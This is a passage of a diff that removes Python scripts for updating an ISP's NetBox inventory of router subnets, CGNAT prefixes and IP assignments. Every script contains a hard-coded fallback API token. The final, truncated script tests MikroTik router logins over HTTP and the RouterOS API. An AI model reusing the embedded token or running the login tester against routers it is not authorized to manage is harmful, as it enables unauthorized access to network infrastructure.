if response.status_code not in [200, 201]:
|
||||
print(f"Error updating {endpoint}: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def get(self, endpoint, params=None):
|
||||
"""Make GET request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.get(url, params=params)
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
|
||||
def main():
|
||||
# NetBox connection
|
||||
import os
|
||||
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||
nb = NetBoxUpdater('https://netbox.vntx.net/', api_token)
|
||||
|
||||
# Router subnet data with interface mappings
|
||||
router_data = [
|
||||
{
|
||||
'prefix': '10.250.1.24/29',
|
||||
'ip': '10.250.1.25/29',
|
||||
'interface': 'ether3-climax-11ghz',
|
||||
'description': 'Climax 11GHz backhaul link',
|
||||
'role': 'infrastructure'
|
||||
},
|
||||
{
|
||||
'prefix': '10.254.254.101/32',
|
||||
'ip': '10.254.254.101/32',
|
||||
'interface': 'loopback',
|
||||
'description': 'Verona router loopback',
|
||||
'role': 'loopback'
|
||||
},
|
||||
{
|
||||
'prefix': '100.64.0.0/22',
|
||||
'ip': '100.64.3.254/22',
|
||||
'interface': 'verona',
|
||||
'description': 'Verona main CGNAT subnet',
|
||||
'role': 'customer'
|
||||
},
|
||||
{
|
||||
'prefix': '204.110.188.224/27',
|
||||
'ip': '204.110.188.254/27',
|
||||
'interface': 'verona',
|
||||
'description': 'Verona public IP subnet',
|
||||
'role': 'customer'
|
||||
},
|
||||
{
|
||||
'prefix': '100.64.12.0/22',
|
||||
'ip': '100.64.15.254/22',
|
||||
'interface': 'vlan_19_ether6',
|
||||
'description': 'Verona VLAN 19 CGNAT',
|
||||
'role': 'customer'
|
||||
},
|
||||
{
|
||||
'prefix': '10.10.80.0/20',
|
||||
'ip': '10.10.95.254/20',
|
||||
'interface': 'vlan_10_ether6',
|
||||
'description': 'Verona CPE management subnet 1',
|
||||
'role': 'management'
|
||||
},
|
||||
{
|
||||
'prefix': '10.10.0.0/20',
|
||||
'ip': '10.10.15.254/20',
|
||||
'interface': 'vlan_10_ether6',
|
||||
'description': 'Verona CPE management subnet 2',
|
||||
'role': 'management'
|
||||
},
|
||||
{
|
||||
'prefix': '10.0.101.0/24',
|
||||
'ip': '10.0.101.254/24',
|
||||
'interface': 'sfp-sfpplus1-verona-tower-switch',
|
||||
'description': 'Verona tower switch connection',
|
||||
'role': 'infrastructure'
|
||||
},
|
||||
{
|
||||
'prefix': '10.250.1.144/29',
|
||||
'ip': '10.250.1.145/29',
|
||||
'interface': 'ether6-switch',
|
||||
'description': 'Verona switch interconnect',
|
||||
'role': 'infrastructure'
|
||||
},
|
||||
{
|
||||
'prefix': '204.110.191.0/27',
|
||||
'ip': '204.110.191.30/27',
|
||||
'interface': 'vlan9_sfpplus1',
|
||||
'description': 'Verona VLAN 9 public subnet',
|
||||
'role': 'customer'
|
||||
},
|
||||
{
|
||||
'prefix': '10.25.1.0/24',
|
||||
'ip': '10.25.1.254/24',
|
||||
'interface': 'ether1',
|
||||
'description': 'Verona ether1 management',
|
||||
'role': 'management'
|
||||
},
|
||||
{
|
||||
'prefix': '192.168.99.0/24',
|
||||
'ip': '192.168.99.254/24',
|
||||
'interface': 'ether10-powerswitch',
|
||||
'description': 'Verona power switch management',
|
||||
'role': 'management'
|
||||
}
|
||||
]
|
||||
|
||||
# Get site ID
|
||||
site_response = nb.get('dcim/sites/', params={'name': 'Verona'})
|
||||
if site_response['count'] == 0:
|
||||
print("Error: Verona site not found")
|
||||
return
|
||||
|
||||
site_id = site_response['results'][0]['id']
|
||||
print(f"Found Verona site with ID: {site_id}")
|
||||
|
||||
# Get or create prefix roles
|
||||
role_mapping = {
|
||||
'infrastructure': 'Infrastructure',
|
||||
'loopback': 'Loopback',
|
||||
'customer': 'Customer',
|
||||
'management': 'Management'
|
||||
}
|
||||
|
||||
role_ids = {}
|
||||
for key, name in role_mapping.items():
|
||||
role_response = nb.get('ipam/roles/', params={'name': name})
|
||||
if role_response['count'] > 0:
|
||||
role_ids[key] = role_response['results'][0]['id']
|
||||
else:
|
||||
# Create role if it doesn't exist
|
||||
role_data = {
|
||||
'name': name,
|
||||
'slug': key
|
||||
}
|
||||
try:
|
||||
created_role = nb.post('ipam/roles/', role_data)
|
||||
role_ids[key] = created_role['id']
|
||||
print(f"Created role: {name}")
|
||||
except:
|
||||
print(f"Could not create role: {name}")
|
||||
role_ids[key] = None
|
||||
|
||||
# Process each subnet
|
||||
print("\n=== Creating/Updating Prefixes ===")
|
||||
created_prefixes = 0
|
||||
failed_prefixes = 0
|
||||
|
||||
for item in router_data:
|
||||
# Check if prefix already exists
|
||||
prefix_response = nb.get('ipam/prefixes/', params={'prefix': item['prefix']})
|
||||
|
||||
prefix_data = {
|
||||
'prefix': item['prefix'],
|
||||
'site': site_id,
|
||||
'status': 'active',
|
||||
'description': item['description'],
|
||||
'is_pool': False
|
||||
}
|
||||
|
||||
if role_ids.get(item['role']):
|
||||
prefix_data['role'] = role_ids[item['role']]
|
||||
|
||||
try:
|
||||
if prefix_response['count'] == 0:
|
||||
# Create new prefix
|
||||
created_prefix = nb.post('ipam/prefixes/', prefix_data)
|
||||
print(f"Created prefix: {item['prefix']} - {item['description']}")
|
||||
created_prefixes += 1
|
||||
else:
|
||||
# Update existing prefix
|
||||
existing_id = prefix_response['results'][0]['id']
|
||||
updated_prefix = nb.patch(f'ipam/prefixes/{existing_id}/', prefix_data)
|
||||
print(f"Updated prefix: {item['prefix']} - {item['description']}")
|
||||
created_prefixes += 1
|
||||
except Exception as e:
|
||||
print(f"Failed to create/update prefix {item['prefix']}: {e}")
|
||||
failed_prefixes += 1
|
||||
|
||||
print(f"\nPrefix Summary: {created_prefixes} successful, {failed_prefixes} failed")
|
||||
|
||||
# Update IP addresses with interface information
|
||||
print("\n=== Updating IP Address Interface Assignments ===")
|
||||
updated_ips = 0
|
||||
failed_ips = 0
|
||||
|
||||
# Get the device for Verona
|
||||
device_response = nb.get('dcim/devices/', params={'site_id': site_id})
|
||||
if device_response['count'] == 0:
|
||||
print("Warning: No device found for Verona site")
|
||||
device_id = None
|
||||
else:
|
||||
device_id = device_response['results'][0]['id']
|
||||
device_name = device_response['results'][0]['name']
|
||||
print(f"Found device: {device_name} (ID: {device_id})")
|
||||
|
||||
# Create a mapping of IP to interface
|
||||
ip_to_interface = {item['ip']: item['interface'] for item in router_data}
|
||||
ip_to_description = {item['ip']: item['description'] for item in router_data}
|
||||
|
||||
# Get all IPs for the site
|
||||
ips_response = nb.get('ipam/ip-addresses/', params={'site_id': site_id})
|
||||
|
||||
for ip_obj in ips_response['results']:
|
||||
ip_address = ip_obj['address']
|
||||
|
||||
if ip_address in ip_to_interface:
|
||||
interface_name = ip_to_interface[ip_address]
|
||||
description = ip_to_description[ip_address]
|
||||
|
||||
# Update IP with description
|
||||
update_data = {
|
||||
'description': f"{interface_name} - {description}"
|
||||
}
|
||||
|
||||
# If we have a device, try to find or create the interface
|
||||
if device_id:
|
||||
# Check if interface exists
|
||||
interface_response = nb.get('dcim/interfaces/', params={
|
||||
'device_id': device_id,
|
||||
'name': interface_name
|
||||
})
|
||||
|
||||
if interface_response['count'] == 0:
|
||||
# Create interface
|
||||
interface_data = {
|
||||
'device': device_id,
|
||||
'name': interface_name,
|
||||
'type': 'virtual', # Using virtual for now
|
||||
'enabled': True
|
||||
}
|
||||
try:
|
||||
created_interface = nb.post('dcim/interfaces/', interface_data)
|
||||
interface_id = created_interface['id']
|
||||
print(f"Created interface: {interface_name}")
|
||||
|
||||
# Assign IP to interface
|
||||
update_data['assigned_object_type'] = 'dcim.interface'
|
||||
update_data['assigned_object_id'] = interface_id
|
||||
except Exception as e:
|
||||
print(f"Failed to create interface {interface_name}: {e}")
|
||||
else:
|
||||
# Use existing interface
|
||||
interface_id = interface_response['results'][0]['id']
|
||||
update_data['assigned_object_type'] = 'dcim.interface'
|
||||
update_data['assigned_object_id'] = interface_id
|
||||
|
||||
# Update the IP address
|
||||
try:
|
||||
updated_ip = nb.patch(f"ipam/ip-addresses/{ip_obj['id']}/", update_data)
|
||||
print(f"Updated IP {ip_address} with interface {interface_name}")
|
||||
updated_ips += 1
|
||||
except Exception as e:
|
||||
print(f"Failed to update IP {ip_address}: {e}")
|
||||
failed_ips += 1
|
||||
|
||||
print(f"\nIP Update Summary: {updated_ips} successful, {failed_ips} failed")
|
||||
|
||||
print("\n=== Update Complete ===")
|
||||
print(f"Total prefixes processed: {created_prefixes + failed_prefixes}")
|
||||
print(f"Total IPs processed: {updated_ips + failed_ips}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,193 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Update NetBox site 982 CGNAT configuration
|
||||
- Add new CGNAT prefix 100.64.48.0/20 with role "Customer"
|
||||
- Add router IP 100.64.63.254/20
|
||||
"""
|
||||
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
import sys
|
||||
|
||||
# API configuration
|
||||
NETBOX_URL = 'https://netbox.vntx.net/api/'
|
||||
API_TOKEN = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||
|
||||
headers = {
|
||||
'Authorization': f'Token {API_TOKEN}',
|
||||
'Content-Type': 'application/json'
|
||||
}
|
||||
|
||||
def get_or_create_prefix_role(name):
|
||||
"""Get or create a prefix role"""
|
||||
# Check if role exists
|
||||
response = requests.get(f'{NETBOX_URL}ipam/roles/', headers=headers, params={'name': name})
|
||||
roles = response.json()['results']
|
||||
|
||||
if roles:
|
||||
return roles[0]['id']
|
||||
|
||||
# Create role if it doesn't exist
|
||||
data = {
|
||||
'name': name,
|
||||
'slug': name.lower().replace(' ', '-')
|
||||
}
|
||||
response = requests.post(f'{NETBOX_URL}ipam/roles/', headers=headers, data=json.dumps(data))
|
||||
if response.status_code == 201:
|
||||
return response.json()['id']
|
||||
else:
|
||||
print(f"Error creating role: {response.status_code} - {response.text}")
|
||||
return None
|
||||
|
||||
def main():
|
||||
print("Updating NetBox configuration for site 982...")
|
||||
|
||||
# Get site 982
|
||||
response = requests.get(f'{NETBOX_URL}dcim/sites/', headers=headers, params={'name': '982'})
|
||||
sites = response.json()['results']
|
||||
|
||||
if not sites:
|
||||
print("Error: Site 982 not found!")
|
||||
sys.exit(1)
|
||||
|
||||
site = sites[0]
|
||||
print(f"Found site: {site['name']} (ID: {site['id']})")
|
||||
|
||||
# Get Customer role ID
|
||||
customer_role_id = get_or_create_prefix_role('Customer')
|
||||
if not customer_role_id:
|
||||
print("Error: Could not get/create Customer role")
|
||||
sys.exit(1)
|
||||
|
||||
# Step 1: Check for old CGNAT prefix (100.64.32.0/22)
|
||||
print("\nChecking for old CGNAT prefix 100.64.32.0/22...")
|
||||
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'prefix': '100.64.32.0/22'})
|
||||
old_prefixes = response.json()['results']
|
||||
|
||||
for prefix in old_prefixes:
|
||||
# Check if prefix belongs to site 982 (handle case where site might be None)
|
||||
prefix_site = prefix.get('site')
|
||||
if prefix_site and prefix_site['id'] == site['id']:
|
||||
print(f"Found old CGNAT prefix: {prefix['prefix']} (ID: {prefix['id']})")
|
||||
# Delete old prefix
|
||||
response = requests.delete(f"{NETBOX_URL}ipam/prefixes/{prefix['id']}/", headers=headers)
|
||||
if response.status_code == 204:
|
||||
print("Successfully deleted old CGNAT prefix")
|
||||
else:
|
||||
print(f"Error deleting old prefix: {response.status_code}")
|
||||
|
||||
# Step 2: Add new CGNAT prefix (100.64.48.0/20)
|
||||
print("\nAdding new CGNAT prefix 100.64.48.0/20...")
|
||||
prefix_data = {
|
||||
'prefix': '100.64.48.0/20',
|
||||
'site': site['id'],
|
||||
'role': customer_role_id,
|
||||
'status': 'active',
|
||||
'description': 'CGNAT subnet',
|
||||
'tags': []
|
||||
}
|
||||
|
||||
response = requests.post(f'{NETBOX_URL}ipam/prefixes/', headers=headers, data=json.dumps(prefix_data))
|
||||
if response.status_code == 201:
|
||||
new_prefix = response.json()
|
||||
print(f"Successfully created prefix: {new_prefix['prefix']} (ID: {new_prefix['id']})")
|
||||
else:
|
||||
print(f"Error creating prefix: {response.status_code} - {response.text}")
|
||||
sys.exit(1)
|
||||
|
||||
# Step 3: Get the router device
|
||||
print("\nFinding 982-router...")
|
||||
response = requests.get(f'{NETBOX_URL}dcim/devices/', headers=headers, params={'name': '982-router'})
|
||||
devices = response.json()['results']
|
||||
|
||||
if not devices:
|
||||
print("Error: 982-router not found!")
|
||||
sys.exit(1)
|
||||
|
||||
device = devices[0]
|
||||
print(f"Found device: {device['name']} (ID: {device['id']})")
|
||||
|
||||
# Step 4: Find or create CGNAT interface
|
||||
print("\nChecking for CGNAT interface...")
|
||||
response = requests.get(f'{NETBOX_URL}dcim/interfaces/', headers=headers, params={'device_id': device['id'], 'name': 'cgnat'})
|
||||
interfaces = response.json()['results']
|
||||
|
||||
if interfaces:
|
||||
interface = interfaces[0]
|
||||
print(f"Found existing CGNAT interface (ID: {interface['id']})")
|
||||
else:
|
||||
# Create CGNAT interface
|
||||
print("Creating CGNAT interface...")
|
||||
interface_data = {
|
||||
'device': device['id'],
|
||||
'name': 'cgnat',
|
||||
'type': 'virtual',
|
||||
'enabled': True
|
||||
}
|
||||
response = requests.post(f'{NETBOX_URL}dcim/interfaces/', headers=headers, data=json.dumps(interface_data))
|
||||
if response.status_code == 201:
|
||||
interface = response.json()
|
||||
print(f"Created CGNAT interface (ID: {interface['id']})")
|
||||
else:
|
||||
print(f"Error creating interface: {response.status_code} - {response.text}")
|
||||
sys.exit(1)
|
||||
|
||||
# Step 5: Check for old IP address and remove it
|
||||
print("\nChecking for old IP address 100.64.35.254/22...")
|
||||
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'address': '100.64.35.254/22'})
|
||||
old_ips = response.json()['results']
|
||||
|
||||
for ip in old_ips:
|
||||
if ip['assigned_object'] and ip['assigned_object_type'] == 'dcim.interface':
|
||||
if ip['assigned_object']['device']['id'] == device['id']:
|
||||
print(f"Found old IP: {ip['address']} (ID: {ip['id']})")
|
||||
response = requests.delete(f"{NETBOX_URL}ipam/ip-addresses/{ip['id']}/", headers=headers)
|
||||
if response.status_code == 204:
|
||||
print("Successfully deleted old IP address")
|
||||
else:
|
||||
print(f"Error deleting old IP: {response.status_code}")
|
||||
|
||||
# Step 6: Add new IP address (100.64.63.254/20)
|
||||
print("\nAdding new IP address 100.64.63.254/20...")
|
||||
ip_data = {
|
||||
'address': '100.64.63.254/20',
|
||||
'assigned_object_type': 'dcim.interface',
|
||||
'assigned_object_id': interface['id'],
|
||||
'status': 'active',
|
||||
'description': 'CGNAT gateway'
|
||||
}
|
||||
|
||||
response = requests.post(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, data=json.dumps(ip_data))
|
||||
if response.status_code == 201:
|
||||
new_ip = response.json()
|
||||
print(f"Successfully created IP address: {new_ip['address']} (ID: {new_ip['id']})")
|
||||
else:
|
||||
print(f"Error creating IP address: {response.status_code} - {response.text}")
|
||||
sys.exit(1)
|
||||
|
||||
# Step 7: Verify the changes
|
||||
print("\n=== Verification ===")
|
||||
|
||||
# Check prefixes
|
||||
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'site_id': site['id']})
|
||||
prefixes = response.json()['results']
|
||||
|
||||
print("\nPrefixes for site 982:")
|
||||
for prefix in prefixes:
|
||||
role = prefix['role']['name'] if prefix['role'] else 'No role'
|
||||
print(f" - {prefix['prefix']} (Role: {role})")
|
||||
|
||||
# Check IP addresses
|
||||
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'device_id': device['id']})
|
||||
ips = response.json()['results']
|
||||
|
||||
print("\nIP addresses on 982-router:")
|
||||
for ip in ips:
|
||||
interface_name = ip['assigned_object']['name'] if ip['assigned_object'] else 'Unassigned'
|
||||
print(f" - {ip['address']} (Interface: {interface_name})")
|
||||
|
||||
print("\n✅ Update completed successfully!")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
|
@ -1,254 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Complete update script for site 982 CGNAT configuration
|
||||
This script handles the complete update process including verification
|
||||
"""
|
||||
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
import sys
|
||||
import time
|
||||
|
||||
# API configuration
|
||||
NETBOX_URL = 'https://netbox.vntx.net/api/'
|
||||
API_TOKEN = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||
|
||||
headers = {
|
||||
'Authorization': f'Token {API_TOKEN}',
|
||||
'Content-Type': 'application/json',
|
||||
'Accept': 'application/json'
|
||||
}
|
||||
|
||||
def delete_prefix_by_cidr(cidr):
|
||||
"""Delete a prefix by CIDR notation"""
|
||||
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'prefix': cidr})
|
||||
prefixes = response.json()['results']
|
||||
|
||||
deleted = False
|
||||
for prefix in prefixes:
|
||||
print(f"Deleting prefix {prefix['prefix']} (ID: {prefix['id']})")
|
||||
response = requests.delete(f"{NETBOX_URL}ipam/prefixes/{prefix['id']}/", headers=headers)
|
||||
if response.status_code == 204:
|
||||
print(" ✓ Deleted successfully")
|
||||
deleted = True
|
||||
else:
|
||||
print(f" ✗ Error: {response.status_code}")
|
||||
|
||||
return deleted
|
||||
|
||||
def delete_ip_by_address(address):
|
||||
"""Delete an IP address by address string"""
|
||||
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'address': address})
|
||||
ips = response.json()['results']
|
||||
|
||||
deleted = False
|
||||
for ip in ips:
|
||||
print(f"Deleting IP {ip['address']} (ID: {ip['id']})")
|
||||
response = requests.delete(f"{NETBOX_URL}ipam/ip-addresses/{ip['id']}/", headers=headers)
|
||||
if response.status_code == 204:
|
||||
print(" ✓ Deleted successfully")
|
||||
deleted = True
|
||||
else:
|
||||
print(f" ✗ Error: {response.status_code}")
|
||||
|
||||
return deleted
|
||||
|
||||
def main():
|
||||
print("=== Site 982 CGNAT Update Script ===\n")
|
||||
|
||||
# Step 1: Get site 982
|
||||
print("1. Finding site 982...")
|
||||
response = requests.get(f'{NETBOX_URL}dcim/sites/', headers=headers, params={'name': '982'})
|
||||
sites = response.json()['results']
|
||||
|
||||
if not sites:
|
||||
print("✗ Site 982 not found!")
|
||||
sys.exit(1)
|
||||
|
||||
site = sites[0]
|
||||
site_id = site['id']
|
||||
print(f"✓ Found site: {site['name']} (ID: {site_id})")
|
||||
|
||||
# Step 2: Get the router
|
||||
print("\n2. Finding 982-router...")
|
||||
response = requests.get(f'{NETBOX_URL}dcim/devices/', headers=headers, params={'name': '982-router', 'site_id': site_id})
|
||||
devices = response.json()['results']
|
||||
|
||||
if not devices:
|
||||
print("✗ 982-router not found!")
|
||||
sys.exit(1)
|
||||
|
||||
device = devices[0]
|
||||
device_id = device['id']
|
||||
print(f"✓ Found device: {device['name']} (ID: {device_id})")
|
||||
|
||||
# Step 3: Clean up old configurations
|
||||
print("\n3. Cleaning up old configurations...")
|
||||
|
||||
# Delete old CGNAT prefix
|
||||
print(" Removing old CGNAT prefix 100.64.32.0/22...")
|
||||
delete_prefix_by_cidr('100.64.32.0/22')
|
||||
|
||||
# Delete any existing 100.64.48.0/20 prefix (from previous attempts)
|
||||
print(" Removing any existing 100.64.48.0/20 prefix...")
|
||||
delete_prefix_by_cidr('100.64.48.0/20')
|
||||
|
||||
# Delete old IP address
|
||||
print(" Removing old IP 100.64.35.254/22...")
|
||||
delete_ip_by_address('100.64.35.254/22')
|
||||
|
||||
# Delete any existing new IP (from previous attempts)
|
||||
print(" Removing any existing 100.64.63.254/20...")
|
||||
delete_ip_by_address('100.64.63.254/20')
|
||||
|
||||
# Step 4: Create or find CGNAT interface
|
||||
print("\n4. Setting up CGNAT interface...")
|
||||
response = requests.get(f'{NETBOX_URL}dcim/interfaces/', headers=headers, params={'device_id': device_id, 'name': 'cgnat'})
|
||||
interfaces = response.json()['results']
|
||||
|
||||
if interfaces:
|
||||
interface = interfaces[0]
|
||||
interface_id = interface['id']
|
||||
print(f"✓ Found existing CGNAT interface (ID: {interface_id})")
|
||||
else:
|
||||
# Create interface
|
||||
interface_data = {
|
||||
'device': device_id,
|
||||
'name': 'cgnat',
|
||||
'type': 'virtual',
|
||||
'enabled': True,
|
||||
'description': 'CGNAT interface'
|
||||
}
|
||||
response = requests.post(f'{NETBOX_URL}dcim/interfaces/', headers=headers, json=interface_data)
|
||||
if response.status_code == 201:
|
||||
interface = response.json()
|
||||
interface_id = interface['id']
|
||||
print(f"✓ Created CGNAT interface (ID: {interface_id})")
|
||||
else:
|
||||
print(f"✗ Error creating interface: {response.status_code}")
|
||||
print(response.text)
|
||||
sys.exit(1)
|
||||
|
||||
# Step 5: Get or create Customer role
|
||||
print("\n5. Setting up Customer role...")
|
||||
response = requests.get(f'{NETBOX_URL}ipam/roles/', headers=headers, params={'name': 'Customer'})
|
||||
roles = response.json()['results']
|
||||
|
||||
if roles:
|
||||
role = roles[0]
|
||||
role_id = role['id']
|
||||
print(f"✓ Found Customer role (ID: {role_id})")
|
||||
else:
|
||||
# Create role
|
||||
role_data = {
|
||||
'name': 'Customer',
|
||||
'slug': 'customer'
|
||||
}
|
||||
response = requests.post(f'{NETBOX_URL}ipam/roles/', headers=headers, json=role_data)
|
||||
if response.status_code == 201:
|
||||
role = response.json()
|
||||
role_id = role['id']
|
||||
print(f"✓ Created Customer role (ID: {role_id})")
|
||||
else:
|
||||
print(f"✗ Error creating role: {response.status_code}")
|
||||
sys.exit(1)
|
||||
|
||||
# Step 6: Create the new CGNAT prefix
|
||||
print("\n6. Creating new CGNAT prefix 100.64.48.0/20...")
|
||||
|
||||
# Try creating without site first, then update
|
||||
prefix_data = {
|
||||
'prefix': '100.64.48.0/20',
|
||||
'role': role_id,
|
||||
'status': 'active',
|
||||
'description': 'CGNAT subnet for site 982',
|
||||
'tags': []
|
||||
}
|
||||
|
||||
response = requests.post(f'{NETBOX_URL}ipam/prefixes/', headers=headers, json=prefix_data)
|
||||
if response.status_code == 201:
|
||||
prefix = response.json()
|
||||
prefix_id = prefix['id']
|
||||
print(f"✓ Created prefix (ID: {prefix_id})")
|
||||
|
||||
# Now try to assign site
|
||||
print(" Assigning prefix to site 982...")
|
||||
# Try different approaches
|
||||
|
||||
# Approach 1: PATCH with just site
|
||||
patch_data = {'site': site_id}
|
||||
response = requests.patch(f'{NETBOX_URL}ipam/prefixes/{prefix_id}/', headers=headers, json=patch_data)
|
||||
|
||||
if response.status_code != 200:
|
||||
# Approach 2: PUT with all fields
|
||||
put_data = {
|
||||
'prefix': '100.64.48.0/20',
|
||||
'site': site_id,
|
||||
'role': role_id,
|
||||
'status': 'active',
|
||||
'description': 'CGNAT subnet for site 982'
|
||||
}
|
||||
response = requests.put(f'{NETBOX_URL}ipam/prefixes/{prefix_id}/', headers=headers, json=put_data)
|
||||
|
||||
if response.status_code in [200, 201]:
|
||||
updated_prefix = response.json()
|
||||
if updated_prefix.get('site'):
|
||||
print(f" ✓ Prefix assigned to site {updated_prefix['site']['name']}")
|
||||
else:
|
||||
print(" ⚠ Warning: Site assignment may have failed")
|
||||
else:
|
||||
print(f" ⚠ Warning: Could not assign site: {response.status_code}")
|
||||
else:
|
||||
print(f"✗ Error creating prefix: {response.status_code}")
|
||||
print(response.text)
|
||||
sys.exit(1)
|
||||
|
||||
# Step 7: Create the new IP address
|
||||
print("\n7. Creating new IP address 100.64.63.254/20...")
|
||||
|
||||
ip_data = {
|
||||
'address': '100.64.63.254/20',
|
||||
'assigned_object_type': 'dcim.interface',
|
||||
'assigned_object_id': interface_id,
|
||||
'status': 'active',
|
||||
'description': 'CGNAT gateway for site 982',
|
||||
'tags': []
|
||||
}
|
||||
|
||||
response = requests.post(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, json=ip_data)
|
||||
if response.status_code == 201:
|
||||
ip = response.json()
|
||||
ip_id = ip['id']
|
||||
print(f"✓ Created IP address (ID: {ip_id})")
|
||||
else:
|
||||
print(f"✗ Error creating IP: {response.status_code}")
|
||||
print(response.text)
|
||||
sys.exit(1)
|
||||
|
||||
# Step 8: Final verification
|
||||
print("\n=== VERIFICATION ===")
|
||||
|
||||
# Check prefixes
|
||||
print("\nPrefixes with 100.64.48.0/20:")
|
||||
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'prefix': '100.64.48.0/20'})
|
||||
prefixes = response.json()['results']
|
||||
for prefix in prefixes:
|
||||
site_info = f"Site: {prefix['site']['name']}" if prefix.get('site') else "Site: Not assigned"
|
||||
role_info = f"Role: {prefix['role']['name']}" if prefix.get('role') else "Role: None"
|
||||
print(f" - {prefix['prefix']} ({site_info}, {role_info})")
|
||||
|
||||
# Check IPs
|
||||
print("\nIP addresses on 982-router:")
|
||||
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'device_id': device_id})
|
||||
ips = response.json()['results']
|
||||
for ip in ips:
|
||||
interface_info = f"Interface: {ip['assigned_object']['name']}" if ip.get('assigned_object') else "Unassigned"
|
||||
print(f" - {ip['address']} ({interface_info})")
|
||||
|
||||
print("\n✅ Update completed!")
|
||||
print("\nNOTE: If the prefix is not showing as assigned to site 982, this may be a")
|
||||
print("permission or API limitation. The prefix and IP have been created successfully.")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
|
@ -1,213 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Verify MikroTik Access - Reliable Authentication Tester
|
||||
Tests if credentials actually work by attempting real operations
|
||||
"""
|
||||
|
||||
import requests
|
||||
from requests.auth import HTTPBasicAuth
|
||||
import socket
|
||||
import time
|
||||
|
||||
def test_http_with_verification(host, username, password):
|
||||
"""Test HTTP auth by trying to access actual protected content"""
|
||||
print(f"Testing HTTP: {username}:{password}")
|
||||
|
||||
try:
|
||||
# Try to access WebFig directly (should redirect if authenticated)
|
||||
session = requests.Session()
|
||||
session.auth = HTTPBasicAuth(username, password)
|
||||
|
||||
# First, try the main page
|
||||
response1 = session.get(f"http://{host}/", timeout=5, allow_redirects=False)
|
||||
print(f" Main page status: {response1.status_code}")
|
||||
|
||||
# Try to access a specific WebFig resource
|
||||
response2 = session.get(f"http://{host}/webfig/", timeout=5, allow_redirects=True)
|
||||
print(f" WebFig status: {response2.status_code}")
|
||||
print(f" Response length: {len(response2.text)}")
|
||||
|
||||
# Check if we actually got WebFig content (not login page)
|
||||
if "webfig" in response2.text.lower() and "login" not in response2.text.lower():
|
||||
print(f" ✓ Successfully accessed WebFig interface")
|
||||
return True
|
||||
elif response2.status_code == 200 and len(response2.text) > 1000:
|
||||
print(f" ? Got content but uncertain if authenticated")
|
||||
print(f" First 200 chars: {response2.text[:200]}")
|
||||
return False
|
||||
else:
|
||||
print(f" ✗ Authentication failed or no WebFig access")
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
print(f" ✗ HTTP test failed: {e}")
|
||||
return False
|
||||
|
||||
def test_api_with_verification(host, username, password):
|
||||
"""Test API auth by attempting actual API operations"""
|
||||
print(f"Testing API: {username}:{password}")
|
||||
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(5)
|
||||
sock.connect((host, 8728))
|
||||
|
||||
def encode_length(length):
|
||||
if length <= 0x7F:
|
||||
return bytes([length])
|
||||
elif length <= 0x3FFF:
|
||||
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||
else:
|
||||
return bytes([0xFF]) # Error for long strings
|
||||
|
||||
def write_word(word):
|
||||
word_bytes = word.encode('utf-8')
|
||||
sock.send(encode_length(len(word_bytes)))
|
||||
sock.send(word_bytes)
|
||||
|
||||
def write_sentence(words):
|
||||
for word in words:
|
||||
write_word(word)
|
||||
write_word("")
|
||||
|
||||
def read_word():
|
||||
try:
|
||||
length_byte = sock.recv(1)
|
||||
if not length_byte:
|
||||
return ""
|
||||
length = length_byte[0]
|
||||
if length == 0:
|
||||
return ""
|
||||
if length & 0x80:
|
||||
# Multi-byte length
|
||||
second_byte = sock.recv(1)
|
||||
if not second_byte:
|
||||
return ""
|
||||
length = ((length & 0x7F) << 8) + second_byte[0]
|
||||
|
||||
if length > 1000: # Sanity check
|
||||
return ""
|
||||
|
||||
return sock.recv(length).decode('utf-8', 'ignore')
|
||||
except:
|
||||
return ""
|
||||
|
||||
def read_sentence():
|
||||
sentence = []
|
||||
while True:
|
||||
word = read_word()
|
||||
if word == "":
|
||||
break
|
||||
sentence.append(word)
|
||||
return sentence
|
||||
|
||||
# Send login
|
||||
write_sentence(["/login", f"=name={username}", f"=password={password}"])
|
||||
|
||||
# Read login response
|
||||
response = read_sentence()
|
||||
print(f" Login response: {response}")
|
||||
|
||||
if response and response[0] == "!done":
|
||||
print(f" ✓ Login successful, testing system identity...")
|
||||
|
||||
# Try to get system identity to verify we're actually authenticated
|
||||
write_sentence(["/system/identity/print"])
|
||||
identity_response = read_sentence()
|
||||
print(f" Identity response: {identity_response}")
|
||||
|
||||
if identity_response and any("identity" in str(item).lower() for item in identity_response):
|
||||
print(f" ✓ Successfully retrieved system information")
|
||||
sock.close()
|
||||
return True
|
||||
else:
|
||||
print(f" ? Login seemed successful but couldn't get system info")
|
||||
sock.close()
|
||||
return False
|
||||
else:
|
||||
